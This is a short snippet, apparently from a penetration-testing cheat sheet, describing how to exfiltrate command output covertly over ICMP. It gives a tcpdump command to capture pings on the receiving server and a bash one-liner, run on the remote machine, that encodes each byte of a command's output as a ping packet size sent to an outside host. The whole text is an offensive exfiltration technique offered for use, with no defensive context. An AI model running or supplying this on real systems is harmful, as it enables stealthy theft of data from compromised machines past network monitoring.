Commands to exfiltrate command output via ICMP packet size
  1. Capture ICMP packets on your server:
tcpdump -nni eth0 -e icmp[icmptype] == 8 -w output.cap
  1. Send ICMP packets to your server with each byte stored in the packet size, execute this on the remote machine:
ip=vm03;output=`hostname`;for ((i=0;i&lt;${#output};i++));do; ping -c 1 -s `printf '%d\n' "'${output:$i:1}'"` $ip;done
